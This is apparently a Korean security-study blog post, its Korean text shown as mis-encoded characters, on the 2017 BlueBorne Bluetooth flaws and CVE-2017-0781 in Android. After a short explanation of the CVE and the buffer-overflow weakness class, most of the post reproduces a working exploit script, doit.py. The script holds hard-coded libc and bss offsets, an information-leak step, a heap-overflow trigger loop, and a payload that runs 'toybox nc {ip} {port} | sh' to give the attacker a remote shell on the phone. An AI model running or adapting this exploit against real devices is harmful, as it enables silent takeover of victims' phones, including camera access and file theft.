๐BlueBorne ์ทจ์ฝ์
- BlueBorne ์ทจ์ฝ์ ์ 2017์ ๋ฐ๊ฒฌ๋ ๋ธ๋ฃจํฌ์ค์ ๋ํ์ ์ธ ์ทจ์ฝ์ ์ค ํ๋๋ก, ๋ค์์ CVE๊ฐ BlueBorne ์ทจ์ฝ์ ์ ํด๋นํ๋ค.
- ๋ธ๋ฃจํฌ์ค๊ฐ ํ์ฑํ ๋์ด์๋ ์ฅ์น์ ๊ณต๊ฒฉ์๊ฐ ํ์ด๋งํ์ง ์์๋ ์ฅ์น๋ฅผ ์ ์ดํ ์ ์๋ ๊ณต๊ฒฉ ํํ์ด๋ค.
- (1)ํผํด์ ๊ธฐ๊ธฐ์ ๋ธ๋ฃจํฌ์ค๊ฐ ํ์ฑํ๋์ด์๊ณ , (2)๊ฐ๊น์ด ์์น์ ์๊ธฐ๋ง ํ๋ฉด ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค.
- ๋ฐ๊ฒฌ ๋น์ ์๋๋ก์ด๋, iOS, ์๋์ฐ, ๋ฆฌ๋ ์ค, ์ฌ๋ฌผ์ธํฐ๋ท ๊ธฐ๊ธฐ ๋ฑ ์ฝ 53์ต๋ ์ด์์ ๊ธฐ๊ธฐ์ ์ํฅ์ ๋ฏธ์น ์ ์์์ด ํ์ธ๋์๋ค.
๐BlueBorne ๊ณต๊ฒฉ์ค์ต
BlueBorne ์ทจ์ฝ์ ์ ๊ณต๊ฒฉํด๋ณผ ์ ์๋ ์ฝ๋๋ฅผ ์ ๊ณตํ๋ ๊นํ๋ธ ์คํ์์ค๋ฅผ ์ฐพ์๋ค.
https://github.com/mailinneberg/BlueBorne.git
GitHub - mailinneberg/BlueBorne: Purpose only! The dangers of Bluetooth implementations: Unveiling zero day vulner
Purpose only! The dangers of Bluetooth implementations: Unveiling zero day vulnerabilities and security flaws in modern Bluetooth stacks. - mailinneberg/BlueBorne
github.com
์๋๋ ์ ๊ณต๋ ๊ณต๊ฒฉ ์ฝ๋ ์ค CVE-2017-0781 ์ทจ์ฝ์ ์ ๊ณต๋ตํ doit.py๋ฅผ ์คํํ๋ ์์ฐ์์์ด๋ค.
ํผํด์๊ฐ ์์์ฑ์ง ๋ชปํ๊ฒ ๊ธฐ๊ธฐ์ ์ฐ๊ฒฐํ์ฌ ์์ ๋ฐ๊ณ , ๊ธฐ๊ธฐ๋ฅผ ๊นจ์ฐ๊ณ ์นด๋ฉ๋ผ๋ฅผ ์คํ์ํค๊ณ ์ฌ์ง ํ์ผ์ ์ ์ก๋ฐ๊ธฐ๊น์ง ํ๋ ๋ชจ์ต์ ๋ณผ ์ ์๋ค.
doit.py ์ฝ๋์ ๋ํด ์ดํด๋ณด๊ธฐ ์ ์ CVE-2017-0781 ์ทจ์ฝ์ ์ ๋ํด ์์๋ณด์.
ํด๋น ์ทจ์ฝ์ ์ ๋ํ Desciption์ ์๋์ ๊ฐ๋ค.
A remote code execution vulnerability in the Android system (bluetooth). Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0. Android ID: A-63146105.
์๋๋ก์ด๋ ์์คํ ์์ ๋ฐ์ํ ์๊ฒฉ ์ฝ๋ ์คํ ์ทจ์ฝ์ ์ด๋ผ๊ณ ์ดํดํ๋ฉด ๋ ๊ฒ ๊ฐ๋ค.
๊ด๋ จ CWE๋ ์๋์ ๊ฐ๋ค.
- ID: CWE-119
- ์ด๋ฆ: Improper Restriction of Operations within the Bounds of a Memory Buffer(๋ฉ๋ชจ๋ฆฌ ๋ฒํผ ๋ด๋ถ์์์ ๋ถ์ ์ ํ ์์ ์ ํ)
- ์ค๋ช : ๋ฉ๋ชจ๋ฆฌ ๋ฒํผ์์ ์์ ์ ์ํํ์ง๋ง, ๋ฒํผ์ ์๋๋ ๊ฒฝ๊ณ๋ฅผ ๋ฒ์ด๋ ๋ฉ๋ชจ๋ฆฌ ์์น์์ ์ฝ๊ฑฐ๋ ์ธ ์ ์๋ค.
- ์์ธ์ค๋ช : ์ด๋ค ์ธ์ด๋ ๋ฉ๋ชจ๋ฆฌ ์์น์ ์ง์ ์ ์ธ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๋ ๊ฒ์ ํ๋ฝํ๊ณ ์ด ์์น๋ค์ด ์ฐธ์กฐํ๋ ๋ฉ๋ชจ๋ฆฌ ๋ฒํผ๊ฐ ์ ํจํ๊ฐ๋ฅผ ์๋์ผ๋ก ๋ณด์ฅํ์ง ์๋๋ค. ์ด๋ฌํ ํน์ฑ์ผ๋ก ์ธํด ๋ค๋ฅธ ๋ณ์๋ ์๋ฃ๊ตฌ์กฐ, ๋๋ ๋ด๋ถ ํ๋ก๊ทธ๋จ ๋ฐ์ดํฐ์ ๊ด๋ จ๋ ์ด๋ค ๋ฉ๋ชจ๋ฆฌ ์์น์์์ ์ฝ๊ธฐ ๋ฐ ์ฐ๊ธฐ ์์ ์ด ์ด๋ฃจ์ด์ง ์ ์๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก, ๊ณต๊ฒฉ์๊ฐ ์์์ ์ฝ๋๋ฅผ ์คํํ๊ฑฐ๋, ์๋๋ ์ ์ดํ๋ฆ์ ๋ฐ๊พธ๊ฑฐ๋, ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ ์ฝ๊ฑฐ๋ ํน์ ์์คํ ์ถฉ๋์ ์ผ์ผํฌ ์ ์๊ฒ ๋๋ค.
- ์ด๊ฐ์ CWE๋ฅผ ๋ถ๋ฅด๋ ๋ค๋ฅธ ์ฉ์ด: Buffer Overflow, buffer overrun, memory safety
์ฐธ๊ณ ์ฌ์ดํธ: https://nvd.nist.gov/vuln/detail/CVE-2017-0781
CVE์ ๋ํด ๊ฐ๋ตํ๊ฒ ์์๋ณด์๋ค.
์ด์ ์ด ์ทจ์ฝ์ ์ ์ ์ฉํ์ฌ ๊ณต๊ฒฉ์ ์ํํ๋ ์ฝ๋์ธ doit.py๋ฅผ ๋ถ์ํด๋ณด์.
๋จผ์ ํ์ํ ๋ชจ๋์ importํ๋ ๋ถ๋ถ์ด๋ค.
import os
import sys
import time
import struct
import select
import binascii
import bluetooth
from bluetooth import _bluetooth as bt
import bluedroid
import connectback
from pwn import log
์ฌ๊ธฐ์์ ์ฐ์ด๋ ๋ชจ๋์ ์ฌ์ฉํ๊ธฐ ์ํด ๊ธฐ๋ณธ์ ์ผ๋ก pybluez์ pwntools๋ฅผ ์ค์นํด์ผ ํ๋ค.
๋ค์์ ์์ ๋ฐ ์ค์ ๊ฐ์ ์ ์ํ๋ ๋ถ๋ถ์ด๋ค.
# Listening TCP ports that need to be opened on the attacker machine
NC_PORT = 1233
STDOUT_PORT = 1234
STDIN_PORT = 1235
# Exploit offsets work for these (exact) libs:
# bullhead:/ # sha1sum /system/lib/hw/bluetooth.default.so
# 8a89cadfe96c0f79cdceee26c29aaf23e3d07a26 /system/lib/hw/bluetooth.default.so
# bullhead:/ # sha1sum /system/lib/libc.so
# 0b5396cd15a60b4076dacced9df773f75482f537 /system/lib/libc.so
# For Pixel 7.1.2 patch level Aug/July 2017
LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1 - 56 # system + 1
LIBC_SOME_BLX_OFFSET = 0x1a420 + 1 - 608 # eventfd_write + 28 + 1
# For Nexus 5X 7.1.2 patch level Aug/July 2017
#LIBC_TEXT_STSTEM_OFFSET = 0x45f80 + 1
#LIBC_SOME_BLX_OFFSET = 0x1a420 + 1
# Aligned to 4 inside the name on the bss (same for both supported phones)
BSS_ACL_REMOTE_NAME_OFFSET = 0x202ee4
BLUETOOTH_BSS_SOME_VAR_OFFSET = 0x14b244
MAX_BT_NAME = 0xf5
# Payload details (attacker IP should be accessible over the internet for the victim phone)
SHELL_SCRIPT = b'toybox nc {ip} {port} | sh'
PWNING_TIMEOUT = 3
BNEP_PSM = 15
PWN_ATTEMPTS = 10
LEAK_ATTEMPTS = 5
ํฌํธ๋ฒํธ, ์ฌ์ฉํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ์คํ์ ์ฃผ์, ํ์ด๋ก๋ ๋ฑ์ ์ ์ํ๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
ํนํ ํ์ด๋ก๋๋ฅผ ์ ์ํ SHELL_SCRIPT ๋ณ์๋ nc(netcat)๋ฅผ ์ด์ฉํด ์ง์ ๋ IP์ฃผ์์ ํฌํธ์ TCP ์ฐ๊ฒฐ์ ์ํํ ํ sh ๋ช ๋ น์ด๋ฅผ ์ํํ์ฌ ์์ ๋ฐ๋ ๋ช ๋ น์ด๋ฅผ ์ ์ฅํ๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
main ํจ์๋ฅผ ์ ์ธํ๋ฉด ๋ฏธ๋ฆฌ ์ ์๋ ํจ์๋ ์ด 4๊ฐ์ด๋ค.
- set_bt_name(payload, src_hci, src, dst)
- set_rand_bdaddr(src_hci)
- memory_leak_get_bases(src, src_hci, dst)
- pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base)
๊ฐ๊ฐ์ ํจ์์ ๋ํด ์์๋ณด์.
1. set_bt_name(payload, src_hci, src, dst)
- ๊ธฐ๋ฅ: ์ฃผ์ด์ง payload๋ฅผ ์ด์ฉํ์ฌ Bluetooth ์ด๋ฆ์ ์ค์ ํ๋ค.
- ์ฝ๋๋ ์๋์ ๊ฐ๋ค.
def set_bt_name(payload, src_hci, src, dst):
# Create raw HCI sock to set our BT name
raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
flt = bt.hci_filter_new()
bt.hci_filter_all_ptypes(flt)
bt.hci_filter_all_events(flt)
raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)
# Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
raw_sock.close()
#time.sleep(1)
time.sleep(0.1)
# Connect to BNEP to "refresh" the name (does auth)
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.bind((src, 0))
bnep.connect((dst, BNEP_PSM))
bnep.close()
# Close ACL connection
os.system('hcitool dc %s' % (dst,))
#time.sleep(1)
2. set_rand_bdaddr(src_hci)
- ๊ธฐ๋ฅ: Bluetooth ์ฅ์น์ ๋๋ค MAC ์ฃผ์๋ฅผ ์ค์ ํ๋ค.
- ์ฝ๋๋ ์๋์ ๊ฐ๋ค.
def set_rand_bdaddr(src_hci):
addr = ['%02x' % (ord(c),) for c in os.urandom(6)]
# NOTW: works only with CSR bluetooth adapters!
os.system('sudo bccmd -d %s psset -r bdaddr 0x%s 0x00 0x%s 0x%s 0x%s 0x00 0x%s 0x%s' %
(src_hci, addr[3], addr[5], addr[4], addr[2], addr[1], addr[0]))
final_addr = ':'.join(addr)
log.info('Set %s to new rand BDADDR %s' % (src_hci, final_addr))
#time.sleep(1)
while bt.hci_devid(final_addr) < 0:
time.sleep(0.1)
return final_addr
3. memory_leak_get_bases(src, src_hci, dst)
- ๊ธฐ๋ฅ: ๋ฉ๋ชจ๋ฆฌ ๋์๋ฅผ ํตํด ์ฃผ์ด์ง Bluetooth ์ฅ์น์ ๋ฉ๋ชจ๋ฆฌ ๋ฒ ์ด์ค๋ฅผ ์ป๋๋ค.
- ์ฝ๋๋ ์๋์ ๊ฐ๋ค.
def memory_leak_get_bases(src, src_hci, dst):
prog = log.progress('Doing stack memory leak...')
# Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack.
result = bluedroid.do_sdp_info_leak(dst, src)
# Calculate according to known libc.so and bluetooth.default.so binaries
likely_some_libc_blx_offset = result[-3][-2]
likely_some_bluetooth_default_global_var_offset = result[6][0]
libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET
bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET
log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base))
# Close SDP ACL connection
os.system('hcitool dc %s' % (dst,))
time.sleep(0.1)
prog.success()
return libc_text_base, bluetooth_default_bss_base
BlueBorne ์ทจ์ฝ์ ๊ณต๋ต์์์ ํต์ฌ ํจ์๋ก ๋ณผ ์ ์์ ๊ฒ ๊ฐ๋ค. blueroid์ do_sdp_info_leak() ํจ์๋ฅผ ์ด์ฉํด์ ๋ฉ๋ชจ๋ฆฌ ๋์๋ฅผ ์ผ์ผํค๊ณ , ๋ฉ๋ชจ๋ฆฌ ๋์๋ก ๊ฐ์ ธ์จ ๋ฉ๋ชจ๋ฆฌ ์คํ์ ์ ์ด์ฉํด ๋ฉ๋ชจ๋ฆฌ ๋ฒ ์ด์ค๋ฅผ ๊ณ์ฐํด์ ์ป์ด๋ธ๋ค.
4. pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base)
- ๊ธฐ๋ฅ: Bluetooth ๊ธฐ๊ธฐ๋ฅผ ๊ณต๊ฒฉํ์ฌ ์์ ์คํํ๋ค.
- ์ฝ๋๋ ์๋๊ณผ ๊ฐ๋ค.
def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base):
# Gen new BDADDR, so that the new BT name will be cached
src = set_rand_bdaddr(src_hci)
# Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#'
# 'sysm' is the address of system() from libc. The *whole* payload is a shell script.
# 0x1700 == (0x1722 & 0xff00) is the "event" of a "HORRIBLE_HACK" message.
payload = struct.pack('<III', 0xAAAA1722, 0x41414141, system_addr) + b'";\n' + \
SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#'
assert len(payload) < MAX_BT_NAME
assert b'\x00' not in payload
# Puts payload into a known bss location (once we create a BNEP connection).
set_bt_name(payload, src_hci, src, dst)
prog = log.progress('Connecting to BNEP again')
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.bind((src, 0))
bnep.connect((dst, BNEP_PSM))
prog.success()
prog = log.progress('Pwning...')
# Each of these messages causes BNEP code to send 100 "command not understood" responses.
# This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q.
# These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q).
# Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q.
for i in range(20):
bnep.send(binascii.unhexlify('8109' + '800109' * 100))
# Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer.
# This is highly likely to fully overflow over instances of "list_node_t" which is exactly
# 8 bytes long (and is *constantly* used/allocated/freed on the heap).
# Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg"
# under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list)
for i in range(1000):
# If we're blocking here, the daemon has crashed
_, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT)
if not writeable:
break
bnep.send(binascii.unhexlify('810100') +
struct.pack('<II', 0, acl_name_addr))
else:
log.info("Looks like it didn't crash. Possibly worked")
prog.success()
์๋์ชฝ for loop์ ๋ณด๋ฉด ํน์ ์กฐ๊ฑด์ด ์ถฉ์กฑ๋ ๋๊น์ง ๋ฉ๋ชจ๋ฆฌ ์ค๋ฒํ๋ก์ฐ๋ฅผ ์ผ์ผํค๋ ์์ ์ ๋ฐ๋ณตํ๋ค๊ฐ ์กฐ๊ฑด์ ์ถฉ์กฑ์ํค๋ฉด bnep.send()๋ฅผ ์ด์ฉํด ์ทจ์ฝ์ ์ ๊ณต๋ตํ๋ ๋ฉ์์ง๋ฅผ ํผํด์ ๊ธฐ๊ธฐ์ ์ ์กํ๋ค.
๊ณต๊ฒฉ์ ์ฑ๊ณตํ๋ฉด ์์ ๋ฐ๋ด๊ฒ ๋๋ค.
์์ ๊ฐ์ ํจ์๋ค์ ์ด์ฉํด์ ์ ์ฒด ๊ณต๊ฒฉ ํ๋ฆ์ ์๋์ ๊ฐ์ด ์ด๋ฃจ์ด์ง๋ค.
def main(src_hci, dst, my_ip):
os.system('hciconfig %s sspmode 0' % (src_hci,))
os.system('hcitool dc %s' % (dst,))
sh_s, stdin, stdout = connectback.create_sockets(NC_PORT, STDIN_PORT, STDOUT_PORT)
for i in range(PWN_ATTEMPTS):
log.info('Pwn attempt %d:' % (i,))
# Create a new BDADDR
src = set_rand_bdaddr(src_hci)
# Try to leak section bases
for j in range(LEAK_ATTEMPTS):
libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases(src, src_hci, dst)
if (libc_text_base & 0xfff == 0) and (bluetooth_default_bss_base & 0xfff == 0):
break
else:
assert False, "Memory doesn't seem to have leaked as expected. Wrong .so versions?"
system_addr = LIBC_TEXT_STSTEM_OFFSET + libc_text_base
acl_name_addr = BSS_ACL_REMOTE_NAME_OFFSET + bluetooth_default_bss_base
assert acl_name_addr % 4 == 0
log.info('system: 0x%08x, acl_name: 0x%08x' % (system_addr, acl_name_addr))
pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base)
# Check if we got a connectback
readable, _, _ = select.select([sh_s], [], [], PWNING_TIMEOUT)
if readable:
log.info('Done')
break
else:
assert False, "Pwning failed all attempts"
connectback.interactive_shell(sh_s, stdin, stdout, my_ip, STDIN_PORT, STDOUT_PORT)
์ฌ๊ธฐ๊น์ง
BlueBorne ์ทจ์ฝ์ ์ ๋ํด ์์๋ณด๊ณ ,
BlueBorne ์ทจ์ฝ์ ์ ํด๋นํ๋ CVE ์ค ํ๋์ธ CVE-2017-0781์ ๋ํด ์์๋ณด๊ณ
ํด๋น CVE๋ฅผ ๊ณต๋ตํ์ฌ ๊ณต๊ฒฉ์ ์ํํ๋ ์ฝ๋์ ๋ํด ์ดํด๋ณด์๋ค.
์์ง ์ฝ๋๋ฅผ ๊น์ด ๋ถ์ํ๊ธฐ์๋ ์ค๋ ฅ์ด ๋ชจ์๋ผ์ง๋ง ์ถํ์ ์ถฉ๋ถํ ์๊ฐ์ ๊ฐ๊ณ ๋ ์์ธํ ์ฝ๋๋ฅผ ๋ถ์ํด๋ณด๊ณ ์ถ๋ค.
'๋ธ๋ฃจํฌ์ค' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[๋ธ๋ฃจํฌ์ค ํต์ ]virtualbox ํ๊ฒฝ์์ ์นผ๋ฆฌ ๋ฆฌ๋ ์ค ๋ธ๋ฃจํฌ์ค ํต์ (0) | 2024.02.07 |
---|---|
[์ค๋ฅ ํด๊ฒฐ]virtualbox์์ usb๋ฅผ ์ธ์ํ๋ ๋ฌธ์ (1) | 2024.01.26 |
[๋ธ๋ฃจํฌ์ค ๋ณด์] ์ด๋ก ๊ณต๋ถ (0) | 2024.01.09 |